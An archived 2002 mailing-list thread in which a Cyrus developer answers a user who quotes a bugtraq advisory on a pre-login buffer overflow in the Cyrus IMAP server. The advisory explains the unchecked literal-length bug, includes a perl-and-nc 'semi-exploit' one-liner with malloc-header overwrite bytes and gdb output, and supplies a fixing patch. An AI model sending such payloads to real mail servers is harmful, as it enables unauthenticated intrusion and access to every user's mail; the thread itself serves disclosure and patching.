Buffer overflow in Cyrus IMAP ?

Ken Murchison ken at oceana.com
Thu Dec 5 08:32:22 EST 2002


If you care enough to post this question to the list, then you _should_
care enough to be subscribed to the list.  If you are, then you should
have seen that new distros which fix the problem were released
yesterday.


Torge Szczepanek wrote:
> 
> Hi!
> 
> There was a posting on the bugtraq mailing list concerning a buffer
> overflow in Cyrus IMAP server.
> 
> Can somebody confirm this?
> 
> Date: Mon, 2 Dec 2002 19:56:06 +0200
> From: Timo Sirainen <tss at iki.fi>
> To: bugtraq at securityfocus.com
> Subject: pre-login buffer overflow in Cyrus IMAP server
> Message-ID: <20021202175606.GA26254 at irccrew.org>
> Mime-Version: 1.0
> Content-Disposition: inline
> User-Agent: Mutt/1.4i
> Content-Type: text/plain; charset=us-ascii
> 
> problem
> -------
> 
> Cyrus IMAP server has a a remotely exploitable pre-login buffer
> overflow. I
> checked versions 1.4 (oldest in web page) and 2.1.10 which both had it,
> so
> apparently all versions are affected.
> 
> Problem is that literal lengths aren't verified to be in any reasonable
> range. The length + 2 is then malloc()ed and later written into. So
> given
> length of 2^32-1, we get malloc(1) call but ability to write 2^32-1
> bytes
> there.
> 
> Note that you don't have to log in before exploiting this, and since
> Cyrus
> runs everything under one UID, it's possible to read every user's mail
> in
> the system.
> 
> I verified that this is exploitable with GLIBC 2.3.1. Probably possible
> with older glibcs as well although they had somewhat different malloc()
> code. No idea about other libcs, BSD ones look safe. There could be of
> course other ways to exploit it than just malloc headers.
> 
> (BTW. Why is it that glibc's malloc implementation is almost begging to
> be
> exploited? I don't think it would be that difficult to create safer
> implementation with internal structures in separate memory pages,
> possibly
> even separated with non-writable page(s) between. Could even be faster
> because of better CPU cache utilization, and maybe made to take less
> memory.)
> 
> There's several other malloc/integer related problems where it's
> possible
> to read over 2GB strings from clients into memory accessing it with
> signed
> integers, finally wrapping into -2^31. That's probably not too bad since
> it
> can work only with >2GB process limits (only 64bit architectures I'd
> think)
> and even then it would quite likely access only unmapped memory.
> 
> Authors were first contacted 30. October, I think it's way past the fix
> time.
> 
> semi-exploit
> ------------
> 
> perl -e 'print "x login
> {4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc localhost imap2
> <ctrl-c>
> 
> The first 4 bytes specify the address where you want to write to in
> memory
> and the next 4 bytes is the data to be written there (must be a readable
> memory address). Rest of the bytes are overwriting prev_size and size in
> malloc header. The above values work with cyrus21 package in Debian
> unstable/x86. gdb verifies that the call was successful:
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0xbfffef90 in ?? ()
> (gdb) bt
> #0  0xbfffef90 in ?? ()
> #1  0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2
> #2  0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2
> #3  0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2
> 
> Shouldn't be too hard to come up with a real exploit from there on.
> 
> You also need to make one "x logout\n" connection first to trigger the
> exploit (Cyrus reuses the processes).
> 
> fix
> ---
> 
> Apply the included patch and set some reasonable ulimits to make sure
> the
> other integer overflows won't hit you in future.
> 
> diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c
> cyrus-imapd-2.1.10/imap/imapparse.c
> --- cyrus-imapd-2.1.10-old/imap/imapparse.c     2002-06-24
> 21:58:41.000000000 +0300
> +++ cyrus-imapd-2.1.10/imap/imapparse.c 2002-11-29 00:20:44.000000000
> +0200
> @@ -97,7 +97,7 @@
>                struct buf *buf, int type)
>  {
>      int c;
> -    int i;
> +    unsigned int i;
>      unsigned int len = 0;
>      int sawdigit = 0;
>      int isnowait;
> @@ -228,6 +228,16 @@
>             if (c != EOF) prot_ungetc(c, pin);
>             return EOF;
>         }
> +       if (len > 65536) {
> +           if (isnowait) {
> +               for (i = 0; i < len; i++)
> +                   c = prot_getc(pin);
> +           }
> +           prot_printf(pout, "* BAD Literal too large\r\n");
> +           prot_flush(pout);
> +           if (c != EOF) prot_ungetc(c, pin);
> +           return EOF;
> +       }
>         if (len >= buf->alloc) {
>             buf->alloc = len+1;
>             buf->s = xrealloc(buf->s, buf->alloc+1);
> 
> --
> Torge Szczepanek <tsml at szczepanek.de>

-- 
Kenneth Murchison     Oceana Matrix Ltd.
Software Engineer     21 Princeton Place
716-662-8973 x26      Orchard Park, NY 14127
--PGP Public Key--    http://www.oceana.com/~ken/ksm.pgp




More information about the Info-cyrus mailing list